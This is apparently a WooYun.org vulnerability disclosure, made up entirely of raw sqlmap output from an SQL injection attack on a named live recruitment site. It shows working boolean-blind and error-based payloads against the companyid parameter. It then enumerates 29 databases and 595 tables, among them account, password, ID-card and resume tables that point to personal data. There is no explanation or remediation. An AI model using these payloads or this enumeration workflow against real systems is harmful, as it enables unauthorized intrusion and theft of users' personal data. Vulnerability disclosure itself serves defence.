WooYun.org

[root@Hacker~]# Sqlmap -u http://www.gdrc.com/content.do?companyid=ganten --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:23:36
[20:23:36] [INFO] resuming back-end DBMS 'mysql'
[20:23:36] [INFO] testing connection to the target url
[20:23:39] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: companyid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: companyid=ganten' AND 8672=8672 AND 'RGDb'='RGDb
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: companyid=ganten' AND (SELECT 1719 FROM(SELECT COUNT(*),CONCAT(0x3a
7261723a,(SELECT (CASE WHEN (1719=1719) THEN 1 ELSE 0 END)),0x3a7076743a,FLOOR(R
AND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'eHFw'='eHF
w
---
[20:23:39] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.9
back-end DBMS: MySQL 5.0
[20:23:39] [INFO] fetching database names
[20:23:39] [INFO] the SQL query used returns 29 entries
available databases [29]:
[*] future
[*] gdrc
[*] gdrc_other
[*] grad
[*] haiwai
[*] hkrc
[*] hrcn
[*] information_schema
[*] mysql
[*] newhaiwai
[*] test
[*] testgdrc
[*] union_base
[*] union_collection
[*] union_fabu
[*] union_interaction
[*] union_job
[*] union_logs
[*] union_resource
[*] union_resume
[*] video
[*] wl_base
[*] wl_collection
[*] wl_fabu
[*] wl_interaction
[*] wl_job
[*] wl_logs
[*] wl_resource
[*] wl_resume
[20:23:39] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[20:23:39] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\YY\sql\sql\SqlMap1\Bin\output\www.gdrc.com'
[*] shutting down at 20:23:39
[root@Hacker~]# Sqlmap -u http://www.gdrc.com/content.do?companyid=ganten --tabl
es -D gdrc
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:24:05
[20:24:06] [INFO] resuming back-end DBMS 'mysql'
[20:24:06] [INFO] testing connection to the target url
[20:24:07] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: companyid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: companyid=ganten' AND 8672=8672 AND 'RGDb'='RGDb
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: companyid=ganten' AND (SELECT 1719 FROM(SELECT COUNT(*),CONCAT(0x3a
7261723a,(SELECT (CASE WHEN (1719=1719) THEN 1 ELSE 0 END)),0x3a7076743a,FLOOR(R
AND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'eHFw'='eHF
w
---
[20:24:08] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.9
back-end DBMS: MySQL 5.0
[20:24:08] [INFO] fetching tables for database: 'gdrc'
[20:24:08] [INFO] the SQL query used returns 595 entries
Database: gdrc
[595 tables]
+----------------------------------+
| 51_job_doss                      |
| AccountGetPassword               |
| CancelEmail                      |
| Info_City                        |
| Info_Meeting                     |
| JobSearchTool                    |
| ResumeSearchTool                 |
| aaaaa_ds_menu                    |
| aaaaa_ds_oper                    |
| aaaaa_ds_right                   |
| aaaaa_ds_role                    |
| aaaaa_searcher                   |
| aaaaa_user_want_copy             |
| aaaaa_video_apply                |
| aaaaa_zhaopin_post               |
| aaaaaa_base_city                 |
| aaaaaa_base_education_level      |
| aaaaaa_base_industry             |
| aaaaaa_base_job_type             |
| aaaaaa_base_job_type_small       |
| aaaaaa_base_job_type_small_place |
| aaaaaa_base_language             |
| aaaaaa_base_language_level       |
| aaaaaa_base_mjr                  |
| aaaaaa_base_mjrdtl               |
| aaaaaa_base_nation               |
| aaaaaa_base_nature               |
| aaaaaa_base_province             |
| aaaaaa_base_wantmoney            |
| aaaaaa_conf_user                 |
| aaaaaa_crm_price                 |
| aaaaaa_crm_protocol              |
| aaaaaa_crm_protocol_content      |
| aaaaaa_crm_protocol_pay          |
| aaaaaa_crm_protocol_photo        |
| aaaaaa_crm_protocol_report       |
| aaaaaa_meeting                   |
| aaaaaa_other_video               |
| aaaaaa_resume                    |
| aaaaaa_tblzhima                  |
| aaaaaaa_archives                 |
| aaaaaaaa_test                    |
| aaaaaaaa_test2                   |
| acc_temp                         |
| account                          |
| account_com_jinque               |
| account_jinque                   |
| account_login_count              |
| account_test                     |
| account_tmp                      |
| ad_logo                          |
| admin_operate_record             |
| advance_mail                     |
| app_hun_rec                      |
| application_friendlink           |
| apply_lease                      |
| areaType                         |
| article_pv                       |
| avoid_keyword                    |
| baidu_keyword                    |
| base_admin                       |
| base_company_service_type        |
| basket                           |
| bigtype2smalltype                |
| birthday_content                 |
| blackip                          |
| ccb_wage                         |
| ceping                           |
| ceping_Type                      |
| ceping_Url                       |
| ceping_Url2                      |
| ceping_count                     |
| ceping_count_data                |
| cities                           |
| city_company_service             |
| city_service                     |
| cms_industry                     |
| company_alias                    |
| company_appointment              |
| company_assigned                 |
| company_assigned_result          |
| company_case                     |
| company_department               |
| company_feedback                 |
| company_folder                   |
| company_industry_statistics      |
| company_industry_temp            |
| company_info                     |
| company_info_51                  |
| company_info_biye                |
| company_info_crawl               |
| company_info_forlike             |
| company_info_jinque              |
| company_info_modify              |
| company_info_nf                  |
| company_info_yc                  |
| company_info_zb                  |
| company_info_zl                  |
| company_interview_Recorder       |
| company_interview_Recorder_bak   |
| company_lastjob                  |
| company_picture                  |
| company_query                    |
| company_receipt_search           |
| company_recommendjob             |
| company_reg                      |
| company_reg_20120619             |
| company_reg_gj                   |
| company_resume                   |
| company_resume_complaints        |
| company_resume_keep              |
| company_resume_xxx               |
| company_searchTool               |
| company_searcher                 |
| company_service                  |
| company_template                 |
| company_video                    |
| company_video_info               |
| coordin                          |
| coordin_link                     |
| coordin_type                     |
| count_data                       |
| count_data_qlm                   |
| cz_graduate_acc                  |
| cz_graduate_info                 |
| cz_record                        |
| dangan                           |
| danwei_jinque                    |
| defaulNameNo                     |
| del_company                      |
| del_job                          |
| del_job_zxb                      |
| deleteTemp                       |
| dict_training                    |
| dict_training_xxx                |
| digital_account                  |
| digital_job_resume               |
| digital_user_temp                |
| down_resume_record               |
| driver_skill                     |
| ds_county                        |
| ds_header                        |
| ds_info_cate_shown               |
| ds_info_div                      |
| ds_info_page                     |
| ds_installInfo                   |
| ds_logo                          |
| ds_siteInfo                      |
| ds_underling                     |
| duanxin_mobile                   |
| duty                             |
| e_appreciation                   |
| e_magazine                       |
| e_user_education                 |
| e_user_experience                |
| e_user_extra_info                |
| e_user_info                      |
| e_user_it_experience             |
| e_user_it_skill                  |
| e_user_lang                      |
| e_user_photo                     |
| e_user_product                   |
| e_user_project                   |
| e_user_refresh                   |
| e_user_want                      |
| e_user_want_extra                |
| experience                       |
| experience_modify                |
| feedback                         |
| fepss                            |
| friend_link                      |
| friend_links                     |
| gccrc_Menu                       |
| gccrc_Oper                       |
| gccrc_Right                      |
| gccrc_Role                       |
| gccrc_company                    |
| gccrc_job                        |
| gccrc_person                     |
| gccrc_rec                        |
| gdrc_company_lastjob             |
| gdrc_count_ip                    |
| gdut_wage                        |
| graduat_user                     |
| h_registration                   |
| hfrc_official_info               |
| hfrc_option                      |
| hfrcgwy_posts                    |
| hl_service                       |
| hl_service_sg                    |
| hotjob_top_db                    |
| hrcn_video                       |
| hukou                            |
| hunter                           |
| hunter_extra                     |
| hunter_info_extra                |
| hunter_job                       |
| hunter_job_count                 |
| hunter_reg                       |
| hunter_request                   |
| hunter_sta                       |
| id_card                          |
| identification                   |
| info                             |
| info_location                    |
| info_recommend                   |
| innodb_monitor                   |
| item                             |
| item_collect                     |
| item_modify                      |
| item_purpose                     |
| item_resume_vip                  |
| item_user_info                   |
| item_user_require                |
| jmrc_da                          |
| job                              |
| job_51_index_temp                |
| job_answer                       |
| job_append_setting               |
| job_crawl                        |
| job_entertainment                |
| job_extra                        |
| job_hotjob_top                   |
| job_hunter                       |
| job_info_biye                    |
| job_info_jinque                  |
| job_meeting                      |
| job_meeting_mail                 |
| job_meeting_mail_list            |
| job_nf                           |
| job_other_emails                 |
| job_pv                           |
| job_question_one                 |
| job_questionnaire                |
| job_recommend                    |
| job_refresh                      |
| job_resume                       |
| job_resume_2000                  |
| job_resume_2001                  |
| job_resume_2002                  |
| job_resume_2003                  |
| job_resume_2004                  |
| job_resume_2005                  |
| job_resume_2006                  |
| job_resume_2007                  |
| job_resume_2008                  |
| job_resume_2009                  |
| job_resume_2010                  |
| job_resume_2011                  |
| job_resume_2012                  |
| job_resume_2013                  |
| job_resume_2014                  |
| job_resume_2015                  |
| job_resume_2016                  |
| job_resume_2017                  |
| job_resume_2018                  |
| job_resume_2019                  |
| job_resume_2020                  |
| job_resume_admin                 |
| job_resume_needs                 |
| job_sub                          |
| job_supply_and_demand            |
| job_tmp                          |
| job_to_questionnaire             |
| job_url                          |
| job_yc                           |
| job_zb                           |
| job_zl                           |
| jobdescript                      |
| jobmail                          |
| join_company                     |
| jtype                            |
| keyword                          |
| keywordStatistic                 |
| lfrc_official_info               |
| lfrcgwy_posts                    |
| link_type                        |
| login_statistics                 |
| loginemail                       |
| loginemailcount                  |
| logo_banner                      |
| logo_board                       |
| logo_imgDiv                      |
| logo_pic                         |
| lookRecord                       |
| magazine_order                   |
| mail_collector                   |
| mail_db_oper_log                 |
| mail_not_login                   |
| mail_not_send                    |
| mail_refuse                      |
| mail_remind                      |
| mail_repl_content                |
| mail_report_sale                 |
| mail_report_server               |
| mail_send                        |
| mail_server                      |
| mail_service                     |
| mail_template                    |
| mail_welcome_tongji              |
| mailrecord                       |
| mailurl                          |
| meizhou_cg                       |
| meizhou_xuanba                   |
| meizhou_zk                       |
| mzrcxueli                        |
| newceping                        |
| newceping_odno                   |
| newceping_price                  |
| news_article                     |
| news_article_tmp                 |
| news_article_tmps                |
| news_category                    |
| noneednotice                     |
| nopass_audit_job                 |
| nyx_resume                       |
| oaMenu                           |
| oaOper                           |
| oaRight                          |
| oaRole                           |
| oper_visit_log                   |
| oper_visit_log_2015524           |
| oper_visit_log_2015525           |
| oper_visit_log_2015526           |
| oper_visit_log_2015527           |
| oper_visit_log_2015528           |
| oper_visit_log_2015529           |
| oper_visit_log_2015530           |
| oper_visit_log_2015531           |
| oper_visit_log_201561            |
| oper_visit_log_201562            |
| oper_visit_log_201563            |
| oper_visit_log_201564            |
| oper_visit_log_201565            |
| oper_visit_log_201566            |
| oper_visit_log_201567            |
| orderList                        |
| outsideSendEmailLog              |
| package                          |
| package_content                  |
| pcinfo                           |
| person_job                       |
| product                          |
| project_reg                      |
| proxy                            |
| proxy_choose                     |
| proxy_graduate                   |
| proxy_graduate_keepup            |
| proxy_graduate_through           |
| proxy_graduate_unthrough         |
| proxy_other_keepup               |
| proxy_other_through              |
| proxy_other_unthrough            |
| qq_login                         |
| resume_assigned                  |
| resume_open_degree               |
| resume_pv                        |
| resume_pv_detail                 |
| resume_temp_folder               |
| resume_vip                       |
| resumemail                       |
| routerip                         |
| ruhuka                           |
| ruhuka_bak                       |
| salesaddjob                      |
| school                           |
| school_cooperate                 |
| school_department                |
| school_nested                    |
| school_nested_new                |
| screen_company                   |
| scse_article                     |
| scse_article_sort                |
| scse_chuanmail                   |
| scse_consultation                |
| scse_country                     |
| scse_edu_exp                     |
| scse_employment                  |
| scse_exchange_rate               |
| scse_other_article               |
| scse_other_article_sort          |
| scse_project                     |
| scse_user_family                 |
| scse_user_info                   |
| search_bigtype                   |
| search_city                      |
| search_smalltype                 |
| sendMail                         |
| sendfriend_limit_ip              |
| sendfriend_limit_userid          |
| sendmail_task                    |
| senior_user                      |
| shebao_balance                   |
| shebao_balance_back              |
| shebao_company                   |
| shebao_company_statistic         |
| shebao_decreasePerson            |
| shebao_increasePerson            |
| shebao_main                      |
| shebao_particular                |
| shebao_pay                       |
| shebao_repair                    |
| shebao_statistic                 |
| shop_account                     |
| shop_addRecord                   |
| shop_arrayType                   |
| shop_card                        |
| shop_cart                        |
| shop_goods                       |
| shop_keyword                     |
| shop_order                       |
| shop_orderGoods                  |
| shop_payRecord                   |
| shop_phone                       |
| shop_server                      |
| sina_login                       |
| sort                             |
| swrc_da                          |
| swrc_gwy_score                   |
| swrc_institutions_info           |
| swrc_institutions_posts          |
| swrc_majorcode                   |
| swrc_official_info               |
| swrc_official_info2010           |
| swrc_official_info2012           |
| swrc_wyrslt                      |
| swrc_wyrslt_sy                   |
| swrcgwy2010_posts                |
| swrcofficial                     |
| swrcofficial_mianshi             |
| swrcofficial_posts               |
| swtest                           |
| sys_dict                         |
| task                             |
| task_check                       |
| task_fun                         |
| task_hard                        |
| task_man                         |
| task_man_type                    |
| task_module                      |
| task_project                     |
| task_score                       |
| task_source_apply                |
| task_week                        |
| tb_user_index_temp               |
| tblDepartment                    |
| tblMenu                          |
| tblOper                          |
| tblOper_depart                   |
| tblRight                         |
| tblRole                          |
| tblbbs                           |
| tblbbsback                       |
| telephone_feedback               |
| temp_cert                        |
| temp_company_recommend_resume    |
| temp_emailRecord                 |
| temp_free_resume                 |
| temp_job_resume_record           |
| temp_jobid_mapping               |
| temp_password                    |
| temp_password_tail               |
| temp_person                      |
| temp_send_gjrc                   |
| temp_sichuan_company             |
| temp_sichuan_company2            |
| test1                            |
| todolist                         |
| top_article                      |
| training_asdf                    |
| training_commend_course          |
| training_company                 |
| training_company_crawl_thea      |
| training_course                  |
| training_course_crawl_thea       |
| training_crawl_replace           |
| training_join                    |
| training_reg                     |
| training_require                 |
| training_teacher                 |
| trial_mail_record                |
| tta                              |
| ttx                              |
| uit_temp                         |
| uit_temp_mobile                  |
| unaudit                          |
| up_cominfo_jinque                |
| uploadfile                       |
| userCode                         |
| user_education                   |
| user_education_test              |
| user_email_temp                  |
| user_experience                  |
| user_experience_test             |
| user_extra_info                  |
| user_industry_statistics         |
| user_industry_temp               |
| user_info                        |
| user_info_X                      |
| user_info_test                   |
| user_intimate                    |
| user_it_experience               |
| user_it_skill                    |
| user_job                         |
| user_keyword                     |
| user_lang                        |
| user_mail_subscribe              |
| user_onlineapply                 |
| user_photo                       |
| user_product                     |
| user_project                     |
| user_refresh                     |
| user_resumeid                    |
| user_searchTool                  |
| user_searcher                    |
| user_subject                     |
| user_text                        |
| user_text_resume                 |
| user_ticket                      |
| user_video                       |
| user_vip                         |
| user_want                        |
| user_want_extra                  |
| user_want_statistics             |
| user_want_test                   |
| useremail                        |
| v2_ad                            |
| v2_ad_position                   |
| v2_area                          |
| v2_company_jobconference         |
| v2_hot_company                   |
| v2_job_conference                |
| v2_job_resume                    |
| v2_job_type                      |
| v2_jobposition_jobconference     |
| v2_jwchat_user                   |
| v2_keyword                       |
| v2_nature                        |
| v2_navigation                    |
| v2_operator                      |
| v2_province                      |
| v2_province_city                 |
| v2_tblbbs                        |
| v2_tblbbs_cate                   |
| v2_user_jobconference            |
| video_affiche                    |
| video_area_company               |
| video_areainfo                   |
| video_comp                       |
| video_interview_upload           |
| video_interview_user             |
| video_interviewer                |
| video_job_rooms                  |
| video_jobs                       |
| video_meeting_rooms              |
| video_meeting_upload             |
| video_meeting_user_comment       |
| video_meetinginfo                |
| video_record                     |
| video_server                     |
| video_server_record              |
| vote                             |
| voter_info                       |
| vpay_add_record                  |
| vpay_record                      |
| vpay_reduce_record               |
| vpay_user                        |
| wap_cms_areaType                 |
| wap_cms_jobType                  |
| weekly                           |
| whitelist                        |
| xkb_job                          |
| yhData                           |
| yy_appoint                       |
| zhaopin                          |
| zhaopin_Complain                 |
| zhaopin_content                  |
| zhaopin_file                     |
| zhaopin_package                  |
| zhaopin_process                  |
| zhaopin_receipt                  |
| zhaopin_school_ad                |
| zhaopin_seat                     |
| zhaopin_yy                       |
| zhaopin_yy_com                   |
| zhaopin_yy_menpiao               |
| zhaopin_yy_zd                    |
| zhaopin_zhanweidepartcount       |
| zhaopin_zhanweidetail            |
| zhaopin_zhanweihead              |
| zhaoqin_logs                     |
| zjrc_bys                         |
| zjrc_da                          |
| zpz_company                      |
| zpz_person                       |
+----------------------------------+
[20:24:08] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[20:24:08] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\YY\sql\sql\SqlMap1\Bin\output\www.gdrc.com'
[*] shutting down at 20:24:08
[root@Hacker~]# Sqlmap